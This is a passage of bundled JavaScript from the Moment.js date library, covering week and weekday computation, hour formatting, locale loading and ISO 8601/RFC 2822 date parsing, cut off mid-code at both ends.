if (y < 100 && y >= 0 && isFinite(date.getUTCFullYear())) { date.setUTCFullYear(y); } return date; } // start-of-first-week - start-of-year function firstWeekOffset(year, dow, doy) { var // first-week day -- which january is always in the first week (4 for iso, 1 for other) fwd = 7 + dow - doy, // first-week day local weekday -- which local weekday is fwd fwdlw = (7 + createUTCDate(year, 0, fwd).getUTCDay() - dow) % 7; return -fwdlw + fwd - 1; } // https://en.wikipedia.org/wiki/ISO_week_date#Calculating_a_date_given_the_year.2C_week_number_and_weekday function dayOfYearFromWeeks(year, week, weekday, dow, doy) { var localWeekday = (7 + weekday - dow) % 7, weekOffset = firstWeekOffset(year, dow, doy), dayOfYear = 1 + 7 * (week - 1) + localWeekday + weekOffset, resYear, resDayOfYear; if (dayOfYear <= 0) { resYear = year - 1; resDayOfYear = daysInYear(resYear) + dayOfYear; } else if (dayOfYear > daysInYear(year)) { resYear = year + 1; resDayOfYear = dayOfYear - daysInYear(year); } else { resYear = year; resDayOfYear = dayOfYear; } return { year: resYear, dayOfYear: resDayOfYear }; } function weekOfYear(mom, dow, doy) { var weekOffset = firstWeekOffset(mom.year(), dow, doy), week = Math.floor((mom.dayOfYear() - weekOffset - 1) / 7) + 1, resWeek, resYear; if (week < 1) { resYear = mom.year() - 1; resWeek = week + weeksInYear(resYear, dow, doy); } else if (week > weeksInYear(mom.year(), dow, doy)) { resWeek = week - weeksInYear(mom.year(), dow, doy); resYear = mom.year() + 1; } else { resYear = mom.year(); resWeek = week; } return { week: resWeek, year: resYear }; } function weeksInYear(year, dow, doy) { var weekOffset = firstWeekOffset(year, dow, doy), weekOffsetNext = firstWeekOffset(year + 1, dow, doy); return (daysInYear(year) - weekOffset + weekOffsetNext) / 7; } // FORMATTING addFormatToken('w', ['ww', 2], 'wo', 'week'); addFormatToken('W', ['WW', 2], 'Wo', 'isoWeek'); // ALIASES addUnitAlias('week', 'w'); addUnitAlias('isoWeek', 'W'); // PRIORITIES addUnitPriority('week', 5); addUnitPriority('isoWeek', 5); // PARSING addRegexToken('w', match1to2); addRegexToken('ww', match1to2, match2); addRegexToken('W', match1to2); addRegexToken('WW', match1to2, match2); addWeekParseToken(['w', 'ww', 'W', 'WW'], function (input, week, config, token) { week[token.substr(0, 1)] = toInt(input); }); // HELPERS // LOCALES function localeWeek (mom) { return weekOfYear(mom, this._week.dow, this._week.doy).week; } var defaultLocaleWeek = { dow : 0, // Sunday is the first day of the week. doy : 6 // The week that contains Jan 6th is the first week of the year. }; function localeFirstDayOfWeek () { return this._week.dow; } function localeFirstDayOfYear () { return this._week.doy; } // MOMENTS function getSetWeek (input) { var week = this.localeData().week(this); return input == null ? week : this.add((input - week) * 7, 'd'); } function getSetISOWeek (input) { var week = weekOfYear(this, 1, 4).week; return input == null ? week : this.add((input - week) * 7, 'd'); } // FORMATTING addFormatToken('d', 0, 'do', 'day'); addFormatToken('dd', 0, 0, function (format) { return this.localeData().weekdaysMin(this, format); }); addFormatToken('ddd', 0, 0, function (format) { return this.localeData().weekdaysShort(this, format); }); addFormatToken('dddd', 0, 0, function (format) { return this.localeData().weekdays(this, format); }); addFormatToken('e', 0, 0, 'weekday'); addFormatToken('E', 0, 0, 'isoWeekday'); // ALIASES addUnitAlias('day', 'd'); addUnitAlias('weekday', 'e'); addUnitAlias('isoWeekday', 'E'); // PRIORITY addUnitPriority('day', 11); addUnitPriority('weekday', 11); addUnitPriority('isoWeekday', 11); // PARSING addRegexToken('d', match1to2); addRegexToken('e', match1to2); addRegexToken('E', match1to2); addRegexToken('dd', function (isStrict, locale) { return locale.weekdaysMinRegex(isStrict); }); addRegexToken('ddd', function (isStrict, locale) { return locale.weekdaysShortRegex(isStrict); }); addRegexToken('dddd', function (isStrict, locale) { return locale.weekdaysRegex(isStrict); }); addWeekParseToken(['dd', 'ddd', 'dddd'], function (input, week, config, token) { var weekday = config._locale.weekdaysParse(input, token, config._strict); // if we didn't get a weekday name, mark the date as invalid if (weekday != null) { week.d = weekday; } else { getParsingFlags(config).invalidWeekday = input; } }); addWeekParseToken(['d', 'e', 'E'], function (input, week, config, token) { week[token] = toInt(input); }); // HELPERS function parseWeekday(input, locale) { if (typeof input !== 'string') { return input; } if (!isNaN(input)) { return parseInt(input, 10); } input = locale.weekdaysParse(input); if (typeof input === 'number') { return input; } return null; } function parseIsoWeekday(input, locale) { if (typeof input === 'string') { return locale.weekdaysParse(input) % 7 || 7; } return isNaN(input) ? null : input; } // LOCALES var defaultLocaleWeekdays = 'Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday'.split('_'); function localeWeekdays (m, format) { if (!m) { return isArray(this._weekdays) ? this._weekdays : this._weekdays['standalone']; } return isArray(this._weekdays) ? this._weekdays[m.day()] : this._weekdays[this._weekdays.isFormat.test(format) ? 'format' : 'standalone'][m.day()]; } var defaultLocaleWeekdaysShort = 'Sun_Mon_Tue_Wed_Thu_Fri_Sat'.split('_'); function localeWeekdaysShort (m) { return (m) ? this._weekdaysShort[m.day()] : this._weekdaysShort; } var defaultLocaleWeekdaysMin = 'Su_Mo_Tu_We_Th_Fr_Sa'.split('_'); function localeWeekdaysMin (m) { return (m) ? this._weekdaysMin[m.day()] : this._weekdaysMin; } function handleStrictParse$1(weekdayName, format, strict) { var i, ii, mom, llc = weekdayName.toLocaleLowerCase(); if (!this._weekdaysParse) { this._weekdaysParse = []; this._shortWeekdaysParse = []; this._minWeekdaysParse = []; for (i = 0; i < 7; ++i) { mom = createUTC([2000, 1]).day(i); this._minWeekdaysParse[i] = this.weekdaysMin(mom, '').toLocaleLowerCase(); this._shortWeekdaysParse[i] = this.weekdaysShort(mom, '').toLocaleLowerCase(); this._weekdaysParse[i] = this.weekdays(mom, '').toLocaleLowerCase(); } } if (strict) { if (format === 'dddd') { ii = indexOf.call(this._weekdaysParse, llc); return ii !== -1 ? ii : null; } else if (format === 'ddd') { ii = indexOf.call(this._shortWeekdaysParse, llc); return ii !== -1 ? ii : null; } else { ii = indexOf.call(this._minWeekdaysParse, llc); return ii !== -1 ? ii : null; } } else { if (format === 'dddd') { ii = indexOf.call(this._weekdaysParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._shortWeekdaysParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._minWeekdaysParse, llc); return ii !== -1 ? ii : null; } else if (format === 'ddd') { ii = indexOf.call(this._shortWeekdaysParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._weekdaysParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._minWeekdaysParse, llc); return ii !== -1 ? ii : null; } else { ii = indexOf.call(this._minWeekdaysParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._weekdaysParse, llc); if (ii !== -1) { return ii; } ii = indexOf.call(this._shortWeekdaysParse, llc); return ii !== -1 ? ii : null; } } } function localeWeekdaysParse (weekdayName, format, strict) { var i, mom, regex; if (this._weekdaysParseExact) { return handleStrictParse$1.call(this, weekdayName, format, strict); } if (!this._weekdaysParse) { this._weekdaysParse = []; this._minWeekdaysParse = []; this._shortWeekdaysParse = []; this._fullWeekdaysParse = []; } for (i = 0; i < 7; i++) { // make the regex if we don't have it already mom = createUTC([2000, 1]).day(i); if (strict && !this._fullWeekdaysParse[i]) { this._fullWeekdaysParse[i] = new RegExp('^' + this.weekdays(mom, '').replace('.', '\\.?') + '$', 'i'); this._shortWeekdaysParse[i] = new RegExp('^' + this.weekdaysShort(mom, '').replace('.', '\\.?') + '$', 'i'); this._minWeekdaysParse[i] = new RegExp('^' + this.weekdaysMin(mom, '').replace('.', '\\.?') + '$', 'i'); } if (!this._weekdaysParse[i]) { regex = '^' + this.weekdays(mom, '') + '|^' + this.weekdaysShort(mom, '') + '|^' + this.weekdaysMin(mom, ''); this._weekdaysParse[i] = new RegExp(regex.replace('.', ''), 'i'); } // test the regex if (strict && format === 'dddd' && this._fullWeekdaysParse[i].test(weekdayName)) { return i; } else if (strict && format === 'ddd' && this._shortWeekdaysParse[i].test(weekdayName)) { return i; } else if (strict && format === 'dd' && this._minWeekdaysParse[i].test(weekdayName)) { return i; } else if (!strict && this._weekdaysParse[i].test(weekdayName)) { return i; } } } // MOMENTS function getSetDayOfWeek (input) { if (!this.isValid()) { return input != null ? this : NaN; } var day = this._isUTC ? this._d.getUTCDay() : this._d.getDay(); if (input != null) { input = parseWeekday(input, this.localeData()); return this.add(input - day, 'd'); } else { return day; } } function getSetLocaleDayOfWeek (input) { if (!this.isValid()) { return input != null ? this : NaN; } var weekday = (this.day() + 7 - this.localeData()._week.dow) % 7; return input == null ? weekday : this.add(input - weekday, 'd'); } function getSetISODayOfWeek (input) { if (!this.isValid()) { return input != null ? this : NaN; } // behaves the same as moment#day except // as a getter, returns 7 instead of 0 (1-7 range instead of 0-6) // as a setter, sunday should belong to the previous week. if (input != null) { var weekday = parseIsoWeekday(input, this.localeData()); return this.day(this.day() % 7 ? weekday : weekday - 7); } else { return this.day() || 7; } } var defaultWeekdaysRegex = matchWord; function weekdaysRegex (isStrict) { if (this._weekdaysParseExact) { if (!hasOwnProp(this, '_weekdaysRegex')) { computeWeekdaysParse.call(this); } if (isStrict) { return this._weekdaysStrictRegex; } else { return this._weekdaysRegex; } } else { if (!hasOwnProp(this, '_weekdaysRegex')) { this._weekdaysRegex = defaultWeekdaysRegex; } return this._weekdaysStrictRegex && isStrict ? this._weekdaysStrictRegex : this._weekdaysRegex; } } var defaultWeekdaysShortRegex = matchWord; function weekdaysShortRegex (isStrict) { if (this._weekdaysParseExact) { if (!hasOwnProp(this, '_weekdaysRegex')) { computeWeekdaysParse.call(this); } if (isStrict) { return this._weekdaysShortStrictRegex; } else { return this._weekdaysShortRegex; } } else { if (!hasOwnProp(this, '_weekdaysShortRegex')) { this._weekdaysShortRegex = defaultWeekdaysShortRegex; } return this._weekdaysShortStrictRegex && isStrict ? this._weekdaysShortStrictRegex : this._weekdaysShortRegex; } } var defaultWeekdaysMinRegex = matchWord; function weekdaysMinRegex (isStrict) { if (this._weekdaysParseExact) { if (!hasOwnProp(this, '_weekdaysRegex')) { computeWeekdaysParse.call(this); } if (isStrict) { return this._weekdaysMinStrictRegex; } else { return this._weekdaysMinRegex; } } else { if (!hasOwnProp(this, '_weekdaysMinRegex')) { this._weekdaysMinRegex = defaultWeekdaysMinRegex; } return this._weekdaysMinStrictRegex && isStrict ? this._weekdaysMinStrictRegex : this._weekdaysMinRegex; } } function computeWeekdaysParse () { function cmpLenRev(a, b) { return b.length - a.length; } var minPieces = [], shortPieces = [], longPieces = [], mixedPieces = [], i, mom, minp, shortp, longp; for (i = 0; i < 7; i++) { // make the regex if we don't have it already mom = createUTC([2000, 1]).day(i); minp = this.weekdaysMin(mom, ''); shortp = this.weekdaysShort(mom, ''); longp = this.weekdays(mom, ''); minPieces.push(minp); shortPieces.push(shortp); longPieces.push(longp); mixedPieces.push(minp); mixedPieces.push(shortp); mixedPieces.push(longp); } // Sorting makes sure if one weekday (or abbr) is a prefix of another it // will match the longer piece. minPieces.sort(cmpLenRev); shortPieces.sort(cmpLenRev); longPieces.sort(cmpLenRev); mixedPieces.sort(cmpLenRev); for (i = 0; i < 7; i++) { shortPieces[i] = regexEscape(shortPieces[i]); longPieces[i] = regexEscape(longPieces[i]); mixedPieces[i] = regexEscape(mixedPieces[i]); } this._weekdaysRegex = new RegExp('^(' + mixedPieces.join('|') + ')', 'i'); this._weekdaysShortRegex = this._weekdaysRegex; this._weekdaysMinRegex = this._weekdaysRegex; this._weekdaysStrictRegex = new RegExp('^(' + longPieces.join('|') + ')', 'i'); this._weekdaysShortStrictRegex = new RegExp('^(' + shortPieces.join('|') + ')', 'i'); this._weekdaysMinStrictRegex = new RegExp('^(' + minPieces.join('|') + ')', 'i'); } // FORMATTING function hFormat() { return this.hours() % 12 || 12; } function kFormat() { return this.hours() || 24; } addFormatToken('H', ['HH', 2], 0, 'hour'); addFormatToken('h', ['hh', 2], 0, hFormat); addFormatToken('k', ['kk', 2], 0, kFormat); addFormatToken('hmm', 0, 0, function () { return '' + hFormat.apply(this) + zeroFill(this.minutes(), 2); }); addFormatToken('hmmss', 0, 0, function () { return '' + hFormat.apply(this) + zeroFill(this.minutes(), 2) + zeroFill(this.seconds(), 2); }); addFormatToken('Hmm', 0, 0, function () { return '' + this.hours() + zeroFill(this.minutes(), 2); }); addFormatToken('Hmmss', 0, 0, function () { return '' + this.hours() + zeroFill(this.minutes(), 2) + zeroFill(this.seconds(), 2); }); function meridiem (token, lowercase) { addFormatToken(token, 0, 0, function () { return this.localeData().meridiem(this.hours(), this.minutes(), lowercase); }); } meridiem('a', true); meridiem('A', false); // ALIASES addUnitAlias('hour', 'h'); // PRIORITY addUnitPriority('hour', 13); // PARSING function matchMeridiem (isStrict, locale) { return locale._meridiemParse; } addRegexToken('a', matchMeridiem); addRegexToken('A', matchMeridiem); addRegexToken('H', match1to2); addRegexToken('h', match1to2); addRegexToken('k', match1to2); addRegexToken('HH', match1to2, match2); addRegexToken('hh', match1to2, match2); addRegexToken('kk', match1to2, match2); addRegexToken('hmm', match3to4); addRegexToken('hmmss', match5to6); addRegexToken('Hmm', match3to4); addRegexToken('Hmmss', match5to6); addParseToken(['H', 'HH'], HOUR); addParseToken(['k', 'kk'], function (input, array, config) { var kInput = toInt(input); array[HOUR] = kInput === 24 ? 0 : kInput; }); addParseToken(['a', 'A'], function (input, array, config) { config._isPm = config._locale.isPM(input); config._meridiem = input; }); addParseToken(['h', 'hh'], function (input, array, config) { array[HOUR] = toInt(input); getParsingFlags(config).bigHour = true; }); addParseToken('hmm', function (input, array, config) { var pos = input.length - 2; array[HOUR] = toInt(input.substr(0, pos)); array[MINUTE] = toInt(input.substr(pos)); getParsingFlags(config).bigHour = true; }); addParseToken('hmmss', function (input, array, config) { var pos1 = input.length - 4; var pos2 = input.length - 2; array[HOUR] = toInt(input.substr(0, pos1)); array[MINUTE] = toInt(input.substr(pos1, 2)); array[SECOND] = toInt(input.substr(pos2)); getParsingFlags(config).bigHour = true; }); addParseToken('Hmm', function (input, array, config) { var pos = input.length - 2; array[HOUR] = toInt(input.substr(0, pos)); array[MINUTE] = toInt(input.substr(pos)); }); addParseToken('Hmmss', function (input, array, config) { var pos1 = input.length - 4; var pos2 = input.length - 2; array[HOUR] = toInt(input.substr(0, pos1)); array[MINUTE] = toInt(input.substr(pos1, 2)); array[SECOND] = toInt(input.substr(pos2)); }); // LOCALES function localeIsPM (input) { // IE8 Quirks Mode & IE7 Standards Mode do not allow accessing strings like arrays // Using charAt should be more compatible. return ((input + '').toLowerCase().charAt(0) === 'p'); } var defaultLocaleMeridiemParse = /[ap]\.?m?\.?/i; function localeMeridiem (hours, minutes, isLower) { if (hours > 11) { return isLower ? 'pm' : 'PM'; } else { return isLower ? 'am' : 'AM'; } } // MOMENTS // Setting the hour should keep the time, because the user explicitly // specified which hour they want. So trying to maintain the same hour (in // a new timezone) makes sense. Adding/subtracting hours does not follow // this rule. var getSetHour = makeGetSet('Hours', true); var baseConfig = { calendar: defaultCalendar, longDateFormat: defaultLongDateFormat, invalidDate: defaultInvalidDate, ordinal: defaultOrdinal, dayOfMonthOrdinalParse: defaultDayOfMonthOrdinalParse, relativeTime: defaultRelativeTime, months: defaultLocaleMonths, monthsShort: defaultLocaleMonthsShort, week: defaultLocaleWeek, weekdays: defaultLocaleWeekdays, weekdaysMin: defaultLocaleWeekdaysMin, weekdaysShort: defaultLocaleWeekdaysShort, meridiemParse: defaultLocaleMeridiemParse }; // internal storage for locale config files var locales = {}; var localeFamilies = {}; var globalLocale; function normalizeLocale(key) { return key ? key.toLowerCase().replace('_', '-') : key; } // pick the locale from the array // try ['en-au', 'en-gb'] as 'en-au', 'en-gb', 'en', as in move through the list trying each // substring from most specific to least, but move to the next array item if it's a more specific variant than the current root function chooseLocale(names) { var i = 0, j, next, locale, split; while (i < names.length) { split = normalizeLocale(names[i]).split('-'); j = split.length; next = normalizeLocale(names[i + 1]); next = next ? next.split('-') : null; while (j > 0) { locale = loadLocale(split.slice(0, j).join('-')); if (locale) { return locale; } if (next && next.length >= j && compareArrays(split, next, true) >= j - 1) { //the next array item is better than a shallower substring of this one break; } j--; } i++; } return globalLocale; } function loadLocale(name) { var oldLocale = null; // TODO: Find a better way to register and load all the locales in Node if (!locales[name] && (typeof module !== 'undefined') && module && module.exports) { try { oldLocale = globalLocale._abbr; var aliasedRequire = require; __webpack_require__(618)("./" + name); getSetGlobalLocale(oldLocale); } catch (e) {} } return locales[name]; } // This function will load locale and then set the global locale. If // no arguments are passed in, it will simply return the current global // locale key. function getSetGlobalLocale (key, values) { var data; if (key) { if (isUndefined(values)) { data = getLocale(key); } else { data = defineLocale(key, values); } if (data) { // moment.duration._locale = moment._locale = data; globalLocale = data; } else { if ((typeof console !== 'undefined') && console.warn) { //warn user if arguments are passed but the locale could not be set console.warn('Locale ' + key + ' not found. Did you forget to load it?'); } } } return globalLocale._abbr; } function defineLocale (name, config) { if (config !== null) { var locale, parentConfig = baseConfig; config.abbr = name; if (locales[name] != null) { deprecateSimple('defineLocaleOverride', 'use moment.updateLocale(localeName, config) to change ' + 'an existing locale. moment.defineLocale(localeName, ' + 'config) should only be used for creating a new locale ' + 'See http://momentjs.com/guides/#/warnings/define-locale/ for more info.'); parentConfig = locales[name]._config; } else if (config.parentLocale != null) { if (locales[config.parentLocale] != null) { parentConfig = locales[config.parentLocale]._config; } else { locale = loadLocale(config.parentLocale); if (locale != null) { parentConfig = locale._config; } else { if (!localeFamilies[config.parentLocale]) { localeFamilies[config.parentLocale] = []; } localeFamilies[config.parentLocale].push({ name: name, config: config }); return null; } } } locales[name] = new Locale(mergeConfigs(parentConfig, config)); if (localeFamilies[name]) { localeFamilies[name].forEach(function (x) { defineLocale(x.name, x.config); }); } // backwards compat for now: also set the locale // make sure we set the locale AFTER all child locales have been // created, so we won't end up with the child locale set. getSetGlobalLocale(name); return locales[name]; } else { // useful for testing delete locales[name]; return null; } } function updateLocale(name, config) { if (config != null) { var locale, tmpLocale, parentConfig = baseConfig; // MERGE tmpLocale = loadLocale(name); if (tmpLocale != null) { parentConfig = tmpLocale._config; } config = mergeConfigs(parentConfig, config); locale = new Locale(config); locale.parentLocale = locales[name]; locales[name] = locale; // backwards compat for now: also set the locale getSetGlobalLocale(name); } else { // pass null for config to unupdate, useful for tests if (locales[name] != null) { if (locales[name].parentLocale != null) { locales[name] = locales[name].parentLocale; } else if (locales[name] != null) { delete locales[name]; } } } return locales[name]; } // returns locale data function getLocale (key) { var locale; if (key && key._locale && key._locale._abbr) { key = key._locale._abbr; } if (!key) { return globalLocale; } if (!isArray(key)) { //short-circuit everything else locale = loadLocale(key); if (locale) { return locale; } key = [key]; } return chooseLocale(key); } function listLocales() { return keys(locales); } function checkOverflow (m) { var overflow; var a = m._a; if (a && getParsingFlags(m).overflow === -2) { overflow = a[MONTH] < 0 || a[MONTH] > 11 ? MONTH : a[DATE] < 1 || a[DATE] > daysInMonth(a[YEAR], a[MONTH]) ? DATE : a[HOUR] < 0 || a[HOUR] > 24 || (a[HOUR] === 24 && (a[MINUTE] !== 0 || a[SECOND] !== 0 || a[MILLISECOND] !== 0)) ? HOUR : a[MINUTE] < 0 || a[MINUTE] > 59 ? MINUTE : a[SECOND] < 0 || a[SECOND] > 59 ? SECOND : a[MILLISECOND] < 0 || a[MILLISECOND] > 999 ? MILLISECOND : -1; if (getParsingFlags(m)._overflowDayOfYear && (overflow < YEAR || overflow > DATE)) { overflow = DATE; } if (getParsingFlags(m)._overflowWeeks && overflow === -1) { overflow = WEEK; } if (getParsingFlags(m)._overflowWeekday && overflow === -1) { overflow = WEEKDAY; } getParsingFlags(m).overflow = overflow; } return m; } // Pick the first defined of two or three arguments. function defaults(a, b, c) { if (a != null) { return a; } if (b != null) { return b; } return c; } function currentDateArray(config) { // hooks is actually the exported moment object var nowValue = new Date(hooks.now()); if (config._useUTC) { return [nowValue.getUTCFullYear(), nowValue.getUTCMonth(), nowValue.getUTCDate()]; } return [nowValue.getFullYear(), nowValue.getMonth(), nowValue.getDate()]; } // convert an array to a date. // the array should mirror the parameters below // note: all values past the year are optional and will default to the lowest possible value. // [year, month, day , hour, minute, second, millisecond] function configFromArray (config) { var i, date, input = [], currentDate, expectedWeekday, yearToUse; if (config._d) { return; } currentDate = currentDateArray(config); //compute day of the year from weeks and weekdays if (config._w && config._a[DATE] == null && config._a[MONTH] == null) { dayOfYearFromWeekInfo(config); } //if the day of the year is set, figure out what it is if (config._dayOfYear != null) { yearToUse = defaults(config._a[YEAR], currentDate[YEAR]); if (config._dayOfYear > daysInYear(yearToUse) || config._dayOfYear === 0) { getParsingFlags(config)._overflowDayOfYear = true; } date = createUTCDate(yearToUse, 0, config._dayOfYear); config._a[MONTH] = date.getUTCMonth(); config._a[DATE] = date.getUTCDate(); } // Default to current date. // * if no year, month, day of month are given, default to today // * if day of month is given, default month and year // * if month is given, default only year // * if year is given, don't default anything for (i = 0; i < 3 && config._a[i] == null; ++i) { config._a[i] = input[i] = currentDate[i]; } // Zero out whatever was not defaulted, including time for (; i < 7; i++) { config._a[i] = input[i] = (config._a[i] == null) ? (i === 2 ? 1 : 0) : config._a[i]; } // Check for 24:00:00.000 if (config._a[HOUR] === 24 && config._a[MINUTE] === 0 && config._a[SECOND] === 0 && config._a[MILLISECOND] === 0) { config._nextDay = true; config._a[HOUR] = 0; } config._d = (config._useUTC ? createUTCDate : createDate).apply(null, input); expectedWeekday = config._useUTC ? config._d.getUTCDay() : config._d.getDay(); // Apply timezone offset from input. The actual utcOffset can be changed // with parseZone. if (config._tzm != null) { config._d.setUTCMinutes(config._d.getUTCMinutes() - config._tzm); } if (config._nextDay) { config._a[HOUR] = 24; } // check for mismatching day of week if (config._w && typeof config._w.d !== 'undefined' && config._w.d !== expectedWeekday) { getParsingFlags(config).weekdayMismatch = true; } } function dayOfYearFromWeekInfo(config) { var w, weekYear, week, weekday, dow, doy, temp, weekdayOverflow; w = config._w; if (w.GG != null || w.W != null || w.E != null) { dow = 1; doy = 4; // TODO: We need to take the current isoWeekYear, but that depends on // how we interpret now (local, utc, fixed offset). So create // a now version of current config (take local/utc/offset flags, and // create now). weekYear = defaults(w.GG, config._a[YEAR], weekOfYear(createLocal(), 1, 4).year); week = defaults(w.W, 1); weekday = defaults(w.E, 1); if (weekday < 1 || weekday > 7) { weekdayOverflow = true; } } else { dow = config._locale._week.dow; doy = config._locale._week.doy; var curWeek = weekOfYear(createLocal(), dow, doy); weekYear = defaults(w.gg, config._a[YEAR], curWeek.year); // Default to current week. week = defaults(w.w, curWeek.week); if (w.d != null) { // weekday -- low day numbers are considered next week weekday = w.d; if (weekday < 0 || weekday > 6) { weekdayOverflow = true; } } else if (w.e != null) { // local weekday -- counting starts from beginning of week weekday = w.e + dow; if (w.e < 0 || w.e > 6) { weekdayOverflow = true; } } else { // default to beginning of week weekday = dow; } } if (week < 1 || week > weeksInYear(weekYear, dow, doy)) { getParsingFlags(config)._overflowWeeks = true; } else if (weekdayOverflow != null) { getParsingFlags(config)._overflowWeekday = true; } else { temp = dayOfYearFromWeeks(weekYear, week, weekday, dow, doy); config._a[YEAR] = temp.year; config._dayOfYear = temp.dayOfYear; } } // iso 8601 regex // 0000-00-00 0000-W00 or 0000-W00-0 + T + 00 or 00:00 or 00:00:00 or 00:00:00.000 + +00:00 or +0000 or +00) var extendedIsoRegex = /^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/; var basicIsoRegex = /^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/; var tzRegex = /Z|[+-]\d\d(?::?\d\d)?/; var isoDates = [ ['YYYYYY-MM-DD', /[+-]\d{6}-\d\d-\d\d/], ['YYYY-MM-DD', /\d{4}-\d\d-\d\d/], ['GGGG-[W]WW-E', /\d{4}-W\d\d-\d/], ['GGGG-[W]WW', /\d{4}-W\d\d/, false], ['YYYY-DDD', /\d{4}-\d{3}/], ['YYYY-MM', /\d{4}-\d\d/, false], ['YYYYYYMMDD', /[+-]\d{10}/], ['YYYYMMDD', /\d{8}/], // YYYYMM is NOT allowed by the standard ['GGGG[W]WWE', /\d{4}W\d{3}/], ['GGGG[W]WW', /\d{4}W\d{2}/, false], ['YYYYDDD', /\d{7}/] ]; // iso time formats and regexes var isoTimes = [ ['HH:mm:ss.SSSS', /\d\d:\d\d:\d\d\.\d+/], ['HH:mm:ss,SSSS', /\d\d:\d\d:\d\d,\d+/], ['HH:mm:ss', /\d\d:\d\d:\d\d/], ['HH:mm', /\d\d:\d\d/], ['HHmmss.SSSS', /\d\d\d\d\d\d\.\d+/], ['HHmmss,SSSS', /\d\d\d\d\d\d,\d+/], ['HHmmss', /\d\d\d\d\d\d/], ['HHmm', /\d\d\d\d/], ['HH', /\d\d/] ]; var aspNetJsonRegex = /^\/?Date\((\-?\d+)/i; // date from iso format function configFromISO(config) { var i, l, string = config._i, match = extendedIsoRegex.exec(string) || basicIsoRegex.exec(string), allowTime, dateFormat, timeFormat, tzFormat; if (match) { getParsingFlags(config).iso = true; for (i = 0, l = isoDates.length; i < l; i++) { if (isoDates[i][1].exec(match[1])) { dateFormat = isoDates[i][0]; allowTime = isoDates[i][2] !== false; break; } } if (dateFormat == null) { config._isValid = false; return; } if (match[3]) { for (i = 0, l = isoTimes.length; i < l; i++) { if (isoTimes[i][1].exec(match[3])) { // match[2] should be 'T' or space timeFormat = (match[2] || ' ') + isoTimes[i][0]; break; } } if (timeFormat == null) { config._isValid = false; return; } } if (!allowTime && timeFormat != null) { config._isValid = false; return; } if (match[4]) { if (tzRegex.exec(match[4])) { tzFormat = 'Z'; } else { config._isValid = false; return; } } config._f = dateFormat + (timeFormat || '') + (tzFormat || ''); configFromStringAndFormat(config); } else { config._isValid = false; } } // RFC 2822 regex: For details see https://tools.ietf.org/html/rfc2822#section-3.3 var rfc2822 = /^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/; function extractFromRFC2822Strings(yearStr, monthStr, dayStr, hourStr, minuteStr, secondStr) { var result = [ untruncateYear(yearStr), defaultLocaleMonthsShort.indexOf(monthStr), parseInt(dayStr, 10), parseInt(hourStr, 10), parseInt(minuteStr, 10) ]; if (secondStr) { result.push(parseInt(secondStr, 10)); } return result; } function untruncateYear(yearStr) { var year = parseInt(yearStr, 10); if (year <= 49) { return 2000 + year; } else if (year <= 999) { return 1900 + year; } return year; } function preprocessRFC2822(s) { // Remove comments and folding whitespace and replace multiple-spaces with a single space return s.replace(/\([^)]*\)|[\n\t]/g, ' ').replace(/(\s\s+)/g, ' ').replace(/^\s\s*/, '').replace(/\s\s*$/, ''); } function checkWeekday(weekdayStr, parsedInput, config) { if (weekdayStr) { // TODO: Replace the vanilla JS Date object with an indepentent day-of-week check. var weekdayProvided = defaultLocaleWeekdaysShort.indexOf(weekdayStr), weekdayActual = new Date(parsedInput[0], parsedInput[1], parsedInput[2]).getDay(); if (weekdayProvided !== weekdayActual) { getParsingFlags(config).weekdayMismatch = true; config._isValid = false; return false; } } return true; } var obsOffsets = { UT: 0, GMT: 0, EDT: -4 * 60, EST: -5 * 60, CDT: -5 * 60, CST: -6 * 60, MDT: -6 * 60, MST: -7 * 60, PDT: -7 * 60, PST: -8 * 60 }; function calculateOffset(obsOffset, militaryOffset, numOffset) { if (obsOffset) { return obsOffsets[obsOffset]; } else if (militaryOffset) { // the only allowed military tz is Z return 0; } else { var hm = parseInt(numOffset, 10); var m = hm % 100, h = (hm - m) / 100; return h * 60 + m; } } // date and time from ref 2822 format function configFromRFC2822(config) { var match = rfc2822.exec(preprocessRFC2822(config._i)); if (match) { var parsedArray = extractFromRFC2822Strings(match[4], match[3], match[2], match[5], match[6], match[7]); if (!checkWeekday(match[1], parsedArray, config)) { return; } config._a = parsedArray; config._tzm = calculateOffset(match[8], match[9], match[10]); config._d = createUTCDate.apply(null, config._a); config._d.setUTCMinutes(config._d.getUTCMinutes() - config._tzm); getParsingFlags(config).rfc2822 = true; } else { config._isValid = false; } } // date from iso format or fallback function configFromString(config) { var matched = aspNetJsonRegex.exec(config._i); if (matched !== null) { config._d = new Date(+matched[1]); return; } configFromISO(config); if (config._isValid === false) { delete config._isValid; } else { return; } configFromRFC2822(config); if (config._isValid === false) { delete config._isValid; } else { return; } // Final attempt, use Input Fallback hooks.createFromInputFallback(config); } hooks.createFromInputFallback = deprecate( 'value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), ' + 'which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are ' + 'discouraged and will be removed in an upcoming major release. Please refer to ' + 'http://momentjs.com/guides/#/warnings/js-date/ for more info.', function (config) { config._d = new Date(config._i + (config._useUTC ? ' UTC' : '')); } ); // constant that refers to the ISO standard hooks.ISO_8601 = function () {}; // constant that refers to the RFC 2822 form hooks.RFC_2822 = function () {}; // date from string and format string function configFromStringAndFormat(config) { // TODO: Move this to another part of the creation flow to prevent circular deps if (config._f === hooks.ISO_8601) { configFromISO(config); return; } if (config._f === hooks.RFC_2822) { configFromRFC2822(config); return; } config._a = []; getParsingFlags(config).empty 